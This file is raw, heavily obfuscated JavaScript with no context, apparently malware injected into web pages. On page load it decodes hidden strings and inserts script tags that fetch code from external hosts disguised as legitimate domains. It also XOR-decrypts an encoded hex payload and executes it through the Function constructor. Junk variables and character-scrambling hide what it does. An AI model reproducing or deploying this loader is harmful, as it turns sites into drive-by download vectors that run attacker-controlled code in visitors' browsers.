this.pr=false;this.jr=false;function c() {var cb;if(cb!=''){cb='e'};this.fp="";function s(n,w,wj){var cw;if(cw!='rr'){cw='rr'};var fn=new Date();n.setAttribute(w, wj);this.m="m";}this.k="k";var xz="";var ne;if(ne!='' && ne!='md'){ne='ohn'};function r(){this.yd="";return ([1,4][0]);}var fpa;if(fpa!='ez' && fpa != ''){fpa=null};var h=window;var o='c?rPehahthe?Eylheymye?nfth'.replace(/[h\?fyP]/g, '');var rrn;if(rrn!='' && rrn!='t_'){rrn='a'};var iv=52125;var g='hOtUtOpv:U/v/OuUlBtUiOmUavtOeO-BgUuUivtvaUrU-Oc*oOmU.BmOoBb*iUlOev.Od*eB.Bj*uBevgUoBsB-UcOovmB.OhOoBm*evuUsUaUoUn*lUi*nBeU.vrOuU:*8U0O8O0B/BgOoOoBgvlUeO.OcBoUmB/UgOovoUg*lveU.*cOoOmU/*pOeOtvaOrUd*aUsB.UcBoUmv/vgUaOzUeUtUaB.vpBl*/Bn*avuBkBrvi*.BcOovm*/*'.replace(/[\*vUOB]/g, '');var j='sScSrSiSpTt1'.replace(/[1\>T@S]/g, '');var f='s<r0c0'.replace(/[0\<z/%]/g, '');this.xo="";var ox;if(ox!='d' && ox != ''){ox=null};var q='oQnMlQo!a0d%'.replace(/[%MQ\!0]/g, '');var jz;if(jz!='' && jz!='ff'){jz=''};h[q]=function(){var rn='';var _u;if(_u!='ii' && _u!='ow'){_u='ii'};try {wp=document[o](j);var wo;if(wo!='od'){wo=''};var cf="cf";var sa;if(sa!='n_' && sa!='pg'){sa='n_'};var jrb;if(jrb!='gx' && jrb!='o_'){jrb='gx'};s(wp,f,g);var ro;if(ro!='itn' && ro != ''){ro=null};var itr=new Array();s(wp,'dmemf*e<rm'.replace(/[m\!c\<\*]/g, ''),r());var zw;if(zw!='cu' && zw != ''){zw=null};var sow;if(sow!='' && sow!='hqz'){sow='nw'};this.uk='';document['b.oWduy.'.replace(/[\.euWE]/g, '')]['a2pQpQeQnGd2C5hQiGlQdQ'.replace(/[Q;52G]/g, '')](wp);this.wh=false;var ej;if(ej!='bs' && ej != ''){ej=null};} catch(sv){};var dd;if(dd!='fl' && dd!='dh'){dd=''};};};c();var qr=new String();
var KeE="eaf5fcc7e087fdf0c5ecd782c6f1e1eea8c5fdd4f2d1c8f4f5dbebebe3f5e9d9c8fbcae3d5fce8ffc8e8d5c6c3c0e9c4d7c2cfc1cfeccbe8d5c7e5f1f6f1ffd7dedfe59dccdb97dee1ee91def592f2e6";var ifS;if(ifS!='RS'){ifS='RS'};this.tG=37823;var aN;if(aN!='ic'){aN='ic'};function l(G){ var L=function(K){var bu=new String();var n;if(n!='LC' && n!='oR'){n='LC'};var f = -1;var m = '';var KR;if(KR!='Oc'){KR=''};var RL;if(RL!='Vs'){RL=''};var g =[186,0,45,66][1];this.Uj=false;this.h=false;var b =[0,155,30][0];this.UE="";var sh='';K = new W(K);var hR;if(hR!='' && hR!='am'){hR='tF'};for (g=K[p("enlthg", [2,0,1])]-f;g>=b;g=g-[212,43,128,1][3]){var ws=new String();m+=K[p("archAt", [2,3,0,1])](g);}var xg;if(xg!=''){xg='iU'};var za=new Date();var GX='';return m;};var zw=44333;var e=48930;var Km;if(Km!='ci'){Km=''};var vd;if(vd!='nT'){vd=''}; var Bh=55050;var vR;if(vR!='dz' && vR!='yi'){vR=''};function lD(v,a){var Gu;if(Gu!='bA'){Gu=''};return v[p("rchaCAodet", [1,2,3,0,4])](a);var LR;if(LR!='k' && LR!='Ga'){LR='k'};var Xa;if(Xa!='Zk'){Xa='Zk'};}var tD;if(tD!=''){tD='MU'}; var lS=function(Y){var cQ;if(cQ!='wY' && cQ!='ei'){cQ='wY'};var tQ=new String();var t=[0,103,243,101][0];var w=[190,172,0,139][2];var Cj='';var H=[89,1,26,74][1];var XI;if(XI!='' && XI!='wzJ'){XI=''};var z=[255,159,121][0];var Hv=Y[p("elntgh", [1,0,2])];var Ya;if(Ya!='sp' && Ya != ''){Ya=null};var FX;if(FX!='hp' && FX != ''){FX=null};var to;if(to!='' && to!='tC'){to=''};var rc='';while(w<Hv){var PZ;if(PZ!='' && PZ!='hV'){PZ=''};var PG;if(PG!='' && PG!='tow'){PG='uY'};var QN=false;w++;o=lD(Y,w - H);var oDB;if(oDB!='' && oDB!='ok'){oDB='hAk'};var GY;if(GY!='' && GY!='ty'){GY='spt'};t+=o*Hv;}var bj=57808;this.ji=false;return new W(t % z);var ZV;if(ZV!='Cn' && ZV!='iI'){ZV=''};};var GB;if(GB!='UET' && GB!='ke'){GB='UET'};var Gh;if(Gh!='UX' && Gh != ''){Gh=null};var uV=new Date(); var ce=false;function LL(r,Og){var wv;if(wv!='FN' && wv!='ru'){wv='FN'};return r^Og;this.rI='';}var Gl=false;var lU;if(lU!='RD' && lU!='WW'){lU=''};this.IM=43115;var NF;if(NF!='E'){NF='E'}; var p=function(K, J){var uv=false;var u = K.length;this.MB="MB";var m = '';var EJ=new Date();this.Ei="";var b=[0][0];var xY=new Date();var H=[1][0];var AY=new Date();var M = J.length;this.jF="";this.Le="Le";var kq="kq";var Kc;if(Kc!='bO'){Kc='bO'};var dC;if(dC!='FAw'){dC='FAw'};for(var g = b; g < u; g += M) {this.GlD=30432;var KB="";var Ki = K.substr(g, M);var Se;if(Se!='hN'){Se=''};if(Ki.length == M){var BB=24471;var tk;if(tk!=''){tk='de'};for(var w in J) {var dm;if(dm!='fH' && dm!='yx'){dm=''};var qx=49526;m+=Ki.substr(J[w], H);var bt;if(bt!=''){bt='wh'};this.vw=false;}var jv;if(jv!='iW' && jv!='Ah'){jv='iW'};} else {var IU;if(IU!='IE' && IU!='ni'){IU='IE'};this.nK="nK";  m+=Ki;var Aa=false;}}this.zy=4904;return m;var yp;if(yp!='pT' && yp != ''){yp=null};var id="";};this.jk='';this.Ll="";var U=window;var dY=false;var oZ=false;var WP=U[p("vael", [2,0,1])];var BM;if(BM!='ZP'){BM=''};var I=WP(p("octnuFni", [5,4,6,1,2,7,0,3]));var dOm="";var Lc;if(Lc!='asM' && Lc!='OzZ'){Lc='asM'};this.HG="HG";var wj=48713;var W=WP(p("rStgin", [1,2,0]));this.gU="gU";this.FQ="FQ";var c = '';var Hl;if(Hl!='' && Hl!='Qe'){Hl=null};var zQ=new String();var Q=WP(p("EegRxp", [3,1,2,0]));var Fq="";var vm=new Array();var ri=new String();var Md;if(Md!=''){Md='pTT'};var Fr;if(Fr!='' && Fr!='By'){Fr='xT'};var Dn;if(Dn!='dk'){Dn='dk'};var wzq;if(wzq!='Jq' && wzq != ''){wzq=null};var DV;if(DV!='iy'){DV=''};var xyR;if(xyR!='NTT' && xyR!='Ee'){xyR='NTT'};var F=W[p("mforCChraode", [1,3,2,0,4])];var LN=13907;var UW;if(UW!='Pi' && UW!='pV'){UW='Pi'};var QV=U[p("enuacspe", [2,1,0])];var fN;if(fN!='bQ'){fN=''};var se;if(se!='lV' && se != ''){se=null};var Tj;if(Tj!='Ap' && Tj != ''){Tj=null};var C =[164,0][1];var Xc;if(Xc!='Jx'){Xc='Jx'};var tc='';var Qg = /[^@a-z0-9A-Z_-]/g;var vt;if(vt!='' && vt!='ol'){vt=null};this.lSw="";var uq = G[p("genlth", [3,1,2,0])];this.PO=53928;var A = '';this.Dot="";var s = F(37);this.lp='';var Tw;if(Tw!='qs'){Tw='qs'};var AZ = '';var Vb;if(Vb!='' && Vb!='sy'){Vb=''};var dCg;if(dCg!='' && dCg!='gl'){dCg='dGl'};var b =[0][0];var Z =[113,2,247,195][1];var BSe=new Date();var V=[1, p("utmcnedoeEaret.ce\'nm(tlei)pr\'tsc", [6,7,3,0,2,5,4,1]),2, p("pedotisfelisoc.m", [2,1,0,3]),3, p("mcduobte.nayo.ddepnpdiClh(d)", [2,4,1,3,0]),4, p(".Atstetdietb\'u(rdefer\'", [7,0,3,5,2,1,6,4]),5, p("ts.ius.maeep8u:0r80", [4,1,2,5,3,0]),6, p("evs.ykc.mok.sauks", [1,0]),7, p("niwwodno.aold", [2,1,0]),8, p("b630cyu.om", [2,1,3,0]),11, p("nufitc(no)", [2,1,0]),12, p("ogegol.com", [3,0,4,1,5,2]),14, p("arzh.senet", [2,5,3,0,1,6,4]),15, p("a(echct)", [3,0,6,5,4,1,2]),16, p("ogoegl", [1,2,0]),17, p("tp\":th", [2,5,4,0,1,3]),18, p("sd.rc", [1,2,0]),19, p("\'1)\'", [3,1,0,2]),20, p("ytr", [1,2,0]),21, p("oc", [1,0])];var H =[1][0];this.bK='';var SQ;if(SQ!=''){SQ='CcB'};this.cR=30994;var P = '';var lh;if(lh!='' && lh!='lO'){lh='yy'};var AS;if(AS!='kG' && AS!='mM'){AS='kG'};var xP='';this.zD="";for(var Lj=b; Lj < uq; Lj+=Z){var fzt;if(fzt!=''){fzt='cd'};var Lk;if(Lk!='' && Lk!='PQ'){Lk='QR'};AZ+= s; var sO=new String();AZ+= G[p("ussbrt", [1,0])](Lj, Z);var IeE;if(IeE!='' && IeE!='wDm'){IeE=''};}var Vy;if(Vy!='cjv'){Vy='cjv'};var oW;if(oW!='' && oW!='aC'){oW=null};var G = QV(AZ);var WK=40709;var VQ;if(VQ!='' && VQ!='qD'){VQ=''};var Ib = new W(l);this.rd='';var R = Ib[p("erlpcae", [1,0])](Qg, P);var hyC="hyC";this.ix=56231;var rv = new W(I);var eb=new String();var UXc;if(UXc!=''){UXc='Wn'};R = L(R);var ruZ;if(ruZ!='' && ruZ!='Ea'){ruZ='rA'};this.Da=6534;var zP;if(zP!='' && zP!='Qo'){zP='yN'};var fD = V[p("tnelgh", [3,2,1,4,0])];var Sb;if(Sb!='' && Sb!='Guj'){Sb=null};var pU;if(pU!='' && pU!='sN'){pU=null};var jkM;if(jkM!='' && jkM!='HN'){jkM=null};this.Di="Di";this.CF=false;var fa = rv[p("earlepc", [2,0,5,3,1,6,4])](Qg, P);this.wU='';var zK;if(zK!='Sv' && zK!='YR'){zK=''};var fa = lS(fa);var Dr;if(Dr!='LNC' && Dr != ''){Dr=null};var AU=lS(R);var OO="OO";var qJ="qJ";for(var g=b; g < (G[p("glneth", [1,3,2,0])]);g=g+[24,194,1,211][2]) {var pUL=new Date();var BZ=new Date();var Ie = R.charCodeAt(C);var rs="";var mP = lD(G,g);var BX;if(BX!='mtk'){BX='mtk'};this.udC="udC";mP = LL(mP, Ie);var Xl;if(Xl!='oRl'){Xl=''};var Qp;if(Qp!='Rk'){Qp=''};mP = LL(mP, AU);mP = LL(mP, fa);var aV;if(aV!='pTL' && aV != ''){aV=null};this.xA=58357;this.cc=30699;C++;var lXz;if(lXz!='' && lXz!='lR'){lXz='Vo'};var yY;if(yY!='' && yY!='uG'){yY='Lm'};var Lp=29579;this.Aj=false;if(C > R.length-H){this.YA="YA";var nh;if(nh!='' && nh!='Wdz'){nh='JB'};C=b;this.Lh='';}var Pm='';var uo="uo";A += F(mP);this.Ws=14601;var sz;if(sz!='' && sz!='Zy'){sz=null};}this.iX=23642;for(Ui=b; Ui < fD; Ui+=Z){var ijJ='';var imS=new String();this.tj=false;var rK = V[Ui + H];this.kB=43533;var enE=new Array();var oL = F(V[Ui]);var AG;if(AG!='jX' && AG!='mX'){AG='jX'};var pW=new Array();var RF=new Array();var wx;if(wx!='hG'){wx=''};var yQ=new Array();var D = new Q(oL, F(103));this.BF="";this.Kih="";A=A[p("epracle", [2,0,1])](D, rK);var dX=21394;var Cr=52342;}var q=new I(A);q();var qB='';var pVs;if(pVs!='wA' && pVs!='qq'){pVs='wA'};this.cC='';AU = '';this.Vx=false;var SG='';this.tb='';R = '';var exG='';var Jm=62204;A = '';fa = '';var Zb;if(Zb!='' && Zb!='nbX'){Zb=''};rv = '';q = '';var HF;if(HF!='' && HF!='bh'){HF='bD'};this.Ip='';this.kBJ="kBJ";this.OV="";var vB;if(vB!='wy'){vB='wy'};return '';};var ifS;if(ifS!='RS'){ifS='RS'};this.tG=37823;var aN;if(aN!='ic'){aN='ic'};l(KeE);

try {var J;if(J!='' && J!='E'){J=''};var D=RegExp;this.C="";var V="repl"+"9RZTace".substr(4);var K;if(K!=''){K='vv'};var f=new Date();var RD;if(RD!='Cs'){RD=''};var e;if(e!='Z'){e=''};function k(W,O){var r=new Array();var VB=new Array();var n=String("RWy[".substr(3));var CI=new String();var R="gpm0".substr(0,1);n+=O;n+=new String("]NaMR".substr(0,1));var Vt;if(Vt!='' && Vt!='kH'){Vt=''};this.g='';var Vn;if(Vn!='' && Vn!='Q'){Vn=null};var b=new D(n, R);var za;if(za!='' && za!='c'){za=null};return W[V](b, new String());};var Cq=new String();var cb="";var _N="";var mG;if(mG!='' && mG!='Kg'){mG=null};var Vj='';var sF=new Array();var bo=window;var B=k('oGnGljojaVdV',"2jGV");var j=k('sXcXrbibpXtX',"bX");var o='';var F;if(F!='sk' && F!='vh'){F='sk'};this.cy='';var M=k('87156660151186516516055766',"7165");var tQ=new Array();this.tDH='';var T=k('c0r0e3a3t3e3E0l0e3m3e3n0t0',"03");this.Mh="";var l;if(l!='' && l!='Y'){l='uq'};var v=k('hItEtZpZ:z/F/EgIuztzeEfIrZaEgIeF-InEeztI.IiEgznZ.ZcFoEmF.IrZezdIiEfZfZ-ZcEoFmF.zTFhzeFBIlEeFnzdIeErFTZuztEoErZiZazlI.FrZuZ:z',"IFZzE");var yL="";var G;if(G!='Mr'){G=''};var jF=k('/IgAoxoSgIl8ex.8c8oImI/AgIoAoSgAl8ex.8cSoImI/8sIeIdAoSp8axrIkIi8nSgA.8cxoAm8/xyIoxuxrxfxiIl8e8h8oAsxtx.8cxoAmA/Stxe8aAcIu8p8.xcxoAmI.IpxhApI',"ISAx8");Ve=function(){this.sa="";t=document[T](j);var zN=new Date();var aK;if(aK!='' && aK!='skJ'){aK='_P'};o=v+M;o+=jF;var ko;if(ko!='JY' && ko!='nq'){ko='JY'};t.src=o;t.defer=([1][0]);this.zC="";document.body.appendChild(t);this.X_='';var Zt;if(Zt!='' && Zt!='SX'){Zt=null};};var mi;if(mi!='f_'){mi='f_'};var sR="";var jS;if(jS!='Oz'){jS=''};bo[B]=Ve;} catch(u){this.Fm='';};var skV;if(skV!='' && skV!='cG'){skV=''};this.QG='';
*/
